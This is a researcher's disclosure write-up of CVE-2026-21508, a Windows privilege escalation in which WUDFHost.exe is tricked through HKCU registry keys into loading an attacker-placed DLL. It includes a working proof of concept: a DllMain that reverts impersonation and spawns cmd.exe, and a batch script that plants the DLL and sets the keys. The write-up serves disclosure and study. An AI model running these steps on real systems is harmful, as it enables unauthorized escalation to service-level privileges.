Post

CVE-2026-21508 - Windows Local Privilege Escalation via arbitrary COM object initialization

Windows Storage Elevation of Privilege Vulnerability

CVE-2026-21508 - Windows Local Privilege Escalation via arbitrary COM object initialization

In this article I will discuss CVE-2026-21508 a Local Privilege Escalation (EoP) vulnerability I reported to Microsoft.

Core idea

This vulnerability essentially works by forcing a process running as system and that uses the undocumented function Windows_Storage!_SHCoCreateInstance, to create an arbitrary COM object of our choice. For this to happen, the object must be associated with an already registered COM class that supports CLSCTX_INPROC_SERVER. Arbitrary COM object creation is archived by manipulating a CoCreateInstance call first argument.

After obtaining this, it is enough that in the system is registered even a single COM class whose InprocServer32 registry key points to a DLL located in a directory writable by an unprivileged user to make a DLL Hijacking attack possible (allowing an attacker to execute arbitrary code in the context of a privileged system process).

The System service I choose to manipulate is the “Windows Driver Foundation – User-mode Driver Framework Host Process” (WUDFHost.exe), but other process may also work because this this is not a process-specific vulnerability since the root cause of this issue lies in _SHCoCreateInstance and DllGetClassObject functions from the Microsoft WinRT Storage API (windows.storage.dll).

A word on WUDFHost.exe

When an external USB flash drive is connected to the computer, Windows spawns a new instance of the Windows Driver Foundation – User-mode Driver Framework Host Process (WUDFHost.exe) for that drive.

WUDFHost.exe is executed as NT AUTHORITY\LOCAL SERVICE but with enough privileges to further escalate to NT AUTHORITY\SYSTEM (more on this later).

WUDFHost.exe general information and privileges WUDFHost.exe privileges and general information from System Informer

This new WUDFHost.exe instance will eventually end up impersonating the current user and, in certain circumstances, invokes Windows_Storage!CregFolder::_CreateCachedDelegateFolder which in turn will call Windows_Storage!_SHCoCreateInstance.

It is possible to trigger WUDFHost.exe to engage in this behavior and invoke Windows_Storage!CregFolder::_CreateCachedDelegateFolder by opening Windows Media Player while a USB flash drive is attached (Launching "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"). There must also be at least one .jpg image on the USB when wmplayer.exe is launched for this behavior to happen. Therefore, an attacker must copy, if it does not already exist, an image to the USB to trigger WUDFHost.exe to engage in this behavior.

_SHCoCreateInstance Analysis

After this preliminaries to get _SHCoCreateInstance executed, let’s begin the main analysis.

_SHCoCreateInstance CALLSTACK Schema A schema resuming calls made by _SHCoCreateInstance

When WUDFHost.exe invokes _SHCoCreateInstance, the call should roughly look like:

1
2
3
4
5
6
7
8
9
_SHCoCreateInstance(
[in] {F5FB2C77-0E2F-4A16-A381-3E560C68BC83}, 	// _GUID *rclsid
[in] (IUnknown *)0x0,                           // LPUNKNOWN pUnkOuter 
[in] 0x401,                                     // CLSCTX_INPROC_SERVER || CLSCTX_NO_FAILURE_LOG 
[in] 1                                          // control flag
[in] 0                                          // control flag
[in] {ADD8BA80-002B-11D0-8F0F-00C04FD7D062},    //_GUID *riid 
[out] &ppv
);

if you are familiar with CoCreateInstance, some of these parameters may sound familiar. Here is a quick explanation of the most important:

  • {F5FB2C77-0E2F-4A16-A381-3E560C68BC83} (rclsid) is the CLSID of the class that will be used to create a COM object.
  • CLSCTX_INPROC_SERVER indicates that the server type is InprocServer32 so data and code of the server are stored in a DLL.
  • riid contains the GUID of the interface that will be used to communicate with the object.

After performing some checks, _SHCoCreateInstance invokes _CreateFromDllGetClassObject.

A snippet of decompiled code from Ghidra when `_CreateFromDllGetClassObject` is called Ghidra decompiled code

_CreateFromDllGetClassObject is an internal function in Windows.Storage which notably invokes two other Windows.Storage functions:

  1. DllGetClassObject
  2. CinstClassFactory::CreateInstance

1. DllGetClassObject

The interesting thing about Windows_Storage!DllGetClassObject is that uses the supporting function Windows_Storage!CinstClassFactory::Init to check the following key:

1
2
3
4
5
6
7
RegOpenKeyExW(
HKEY_CLASSES_ROOT,
L"CLSID\\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\\Instance",
0,
0x20019,            // KEY_READ,
(PHKEY)phkResult
);

As you can see, HKEY_CLASSES_ROOT is passed as the first argument to RegOpenKeyExW. Because a cached predefined registry handle already exist for HKEY_CLASSES_ROOT, RegOpenKeyExW will use that handle to determine which HKEY_CLASSES_ROOT hive should be open (e.g., “\REGISTRY\USER\S-1-5-18” or “\REGISTRY\USER\S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-100x_Classes”).

(I will write a separate article on how the predefined registry handles caching mechanism works in Windows).

since WUDFhost.exe was impersonating (and is still impersonating) the current unprivileged user at the time the cached handle was created, the current user registry hive will be used, causing WUDFhost.exe to search for the following key (instead of the HKEY_LOCAL_MACHINE version of it):

HKCU\Software\Classes\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\Instance

note that this is “expected” behavior, there is nothing unusual about opening HKCU hive while impersonating current user and using HKEY_CLASSES_ROOT.

2. CinstClassFactory::CreateInstance

CinstClassFactory::CreateInstance is invoked immediately after DllGetClassObject completes. CinstClassFactory::CreateInstance uses the handle previously opened by RegOpenKeyExW and a call to SHGetValueW to retrieve the “CLSID” registry value at:

HKCU\Software\Classes\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\Instance

A snippet of decompiled code from Ghidra when `SHGetValueW` is called Ghidra decompiled code

If the data found in the “CLSID” registry value is a valid GUID, CinstClassFactory::CreateInstance will use that GUID as first argument (rclsid) of a second (indirect recursive) call to _SHCoCreateInstance.

_SHCoCreateInstance second (recursive) call - choosing the right CLSID

1
2
3
4
5
6
7
8
9
_SHCoCreateInstance(
Arbitrary_rclsid,                       // The CLSID we choose
0,                                      // LPUNKNOWN pUnkOuter 
1,                                      // CLSCTX_INPROC_SERVER 
1,                                      // control flag
1,                                      // control flag
{ADD8BA80-002B-11D0-8F0F-00C04FD7D062},	//(same riid as before)
&ppv
);

at this point we can manipulate the first argument of this second _SHCoCreateInstance by creating:

HKCU\Software\Classes\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\Instance

and setting the “CLSID” registry value to a valid GUID, for example:

An example of successfully creating the registry key discussed above.

But what CLSID should we choose?

A few points to keep in mind:

  • the CLSID we choose will later be used as rclsid argument to perform a CoCreateInstance call
  • CoCreateInstance (and _SHCoCreateInstance too) will search for server information on HKEY_LOCAL_MACHINE even if the process is impersonating.

Thus, being able to manipulate a CoCreateInstance rclsid and creating an object of our choice may still not get us very far because most of COM class registered on the system are not really useful from an attacker perspective (and we can’t edit {CLSID}\InProcServer32\(Default) keys since are searched on HKEY_LOCAL_MACHINE)

A list containing some examples of COM classes that are useless to an attacker. COM CLSID (right) and corresponding InprocServer32 key value(left)

As you can see from the image above making WUDFHost.exe load one of those DLLs and initialize the associated COM object is unlikely to lead at any security issue.

But there are literally thousands of possible candidates, and although searching for them was quite tedious, after running some scripts to check both existence and writability of InprocServer32 DLL paths I managed to find at least one CLSID that caught my attention:

{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}

This CLSID is associated with the “Cross Device Virtual Camera Source” and its InprocServer32\(Default) key points to:

“%PROGRAMDATA%\CrossDevice\CrossDevice.Streaming.Source.dll”

by default, that path and file do not exists on the system and can be created by an attacker.

_SHCoCreateInstance second (recursive) call – execution flow

As briefly mentioned , {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}, the CLSID we chosen, will be used as rclsid argument to perform a CoCreateInstance call, but this does not happens immediately and another trick is required for it to be executed.

1
2
3
4
5
6
7
8
_SHCoCreateInstance(
{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496},
0,                                      // LPUNKNOWN pUnkOuter 
1,                                      // CLSCTX_INPROC_SERVER 
1,                                      // control flag
1,                                      // control flag
{ADD8BA80-002B-11D0-8F0F-00C04FD7D062},	//(same riid as before)
&ppv

Because the arguments of this second _SHCoCreateInstance call differ from the first, the execution flow is slightly different.

a schema resuming calls made by the seccond _SHCoCreateInstance call A schema resuming calls made by the seccond _SHCoCreateInstance[2] indirect recursive call

_SHCoCreateInstance does not call _CreateFromDllGetClassObject, instead it directly invokes Windows_Storage!_GetServerInfo to retrieve server information from:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}\InProcServer32\(Default)

Which contains the DLL server path “%PROGRAMDATA%\CrossDevice\CrossDevice.Streaming.Source.dll”.

After this, _SHCoCreateInstance proceeds to call Windows_Storage!_ShouldLoadShellExt which in turn invokes Windows_Storage!_QueryClassInterfaceAndOrLogData.

_QueryClassInterfaceAndOrLogData uses the internal function Windows_Storage!CreateProcessWithImpersonation to launch Verclsid.exe.

here is a brief expatiation by MITRE on Verclsid.exe:

“Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.[1]

Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}”

More specifically, Verclsid.exe uses the {CLSID} passed as /C argument to perform a CoCreateInstance call. The {CLSID} used for Verclsid.exe /C argument is the same one we choose before: {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}.

A Process Monitor screenshot showing Verclsid.exe being launched by WUDFHost.exe Verclsid.exe Process Monitor screenshot

However, WUDFhost.exe is impersonating the current user, so Verclsid.exe will be started with low privileges. Therefore, regardless of Verclsid.exe invoking CoCreateInstance (with {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496} as its first argument), it is not useful for us.

Nevertheless, since the interface identifier (riid) passed as argument to _SHCoCreateInstance is {ADD8BA80-002B-11D0-8F0F-00C04FD7D062}, _QueryClassInterfaceAndOrLogData performs a RegOpenKeyExW call that looks for the following key:

HKCU\Software\Classes\CLSID\{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}\ShellFolder

It is possible to create that key (which is writable by an unprivileged user) to prevent Verclsid.exe being started and to make WUDFhost.exe directly invoke CoCreateInstance. Therefore, when both _QueryClassInterfaceAndOrLogData and _ShouldLoadShellExt return, _SHCoCreateInstance will invoke CoCreateInstance (with {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496} as its first argument).

A snippet of decompiled code from Ghidra when `_ShouldLoadShellExt` is called Ghidra decompiled code

This causes WUDFHost.exe to load

“%PROGRAMDATA%\CrossDevice\CrossDevice.Streaming.Source.dll”

So we can place a crafted DLL there and have its DllMain executed, effectively executing arbitrary code in the context of a WUDFHost.exe process.

DLLMain & Privileges

Since WUDFHost.exe is impersonating the current user if we want our code to run as NT AUTHORITY\LOCAL SERVICE we must remember to call RevertToSelf() inside DllMain. Note that CoCreateInstance is not required to succeed in order to get the DllMain executed, so it’s fine even if we get CO_E_ERRORINDLL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
extern "C" __declspec(dllexport) BOOL APIENTRY DllMain(HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    if (DLL_PROCESS_ATTACH == ul_reason_for_call) {

        //stop impersonation and back to privileged status
        BOOL myvar = RevertToSelf();

        //IF current process TokenIsElevated do something
        /****************************************************************/
        if (IsElevated()) {
            //this will start CMD.exe
            STARTUPINFOA si;
            PROCESS_INFORMATION pi;
            ZeroMemory(&si, sizeof(si));
            si.cb = sizeof(si);
            ZeroMemory(&pi, sizeof(pi));
            char cmdline[100];
            sprintf_s(cmdline, sizeof(cmdline), "C:\\Windows\\System32\\cmd.exe");
            CreateProcessA(NULL, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
        /*****************************************************************/
    }
    return TRUE;
}

Also note that as mentioned at the beginning WUDFHost.exe is running as system NT AUTHORITY\LOCAL SERVICE and not NT AUTHORITY\SYSTEM.

However further escalation to NT AUTHORITY\SYSTEM may be performed since WUDFHost.exe has SeImpersonatePrivilege, SeIncreaseQuotaPrivilege and SeAssignPrimaryTokenPrivilege.

I did not implement this last step in the proof‑of‑concept since I consider it out of the scope of current vulnerability and implementation has already been covered in the literature.

If you are interested in this final escalation, I highly recommend visiting itm4n’s blog, which has several really interesting articles on the topic.

Exploit summary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@echo off
REM copy alps.jpg on the USB flash driver passed on param_1 to ensure at least one .jpg is found on the USB
copy "alps.jpg" "%~1"


set EvilDIR="%~dp0Session0_CMD\x64\Release\Session0_CMD.dll"
REM create the directory if needed
mkdir "C:\ProgramData\CrossDevice"
copy %EvilDIR% "C:\ProgramData\CrossDevice\CrossDevice.Streaming.Source.dll"

REM Make WUDFhost.exe call a second _SHCoCreateInstance using the CLSID {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}
reg add "HKCU\Software\Classes\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\Instance" /V "CLSID" /D "{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}" /f

REM Make WUDFhost.exe not open verclsid.exe, but instead directly call CoCreateInstance itself
reg add "HKCU\Software\Classes\CLSID\{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}\ShellFolder" /f

rem Trigger WUDFhost.exe to execute
timeout 2
start "" "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"

when an external USB flash drive is attached to the machine, is possible to trigger WUDFHost.exe to create an arbitrary COM object (that support CLSCTX_INPROC_SERVER server type) and performing a DLL hijacking attack.

This is archived by:

  1. Creating the following registry key
    1
    
    reg add "HKCU\Software\Classes\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\Instance" /V "CLSID" /D "{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}" /f
    
    1
    
    reg add "HKCU\Software\Classes\CLSID\{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}\ShellFolder" /f
    
  2. Placing a malicious DLL at:

    %PROGRAMDATA%\CrossDevice\CrossDevice.Streaming.Source.dll

  3. Triggering WUDFHost.exe anomalous behavior by lauching:

    C:\Program Files (x86)\Windows Media Player\wmplayer.exe

Full POC can be found at https://github.com/0xc4r/CVE-2026-21508_POC

Demo

POC usage Demo

As you can see, cmd.exe is launched in session 0 as NT AUTHORITY\LOCAL SERVICE by WUDFHost.exe, meaning that the malicious DllMain has been executed.

Resources

This post is licensed under CC BY 4.0 by the author.

© . Some rights reserved.

Using the Chirpy theme for Jekyll.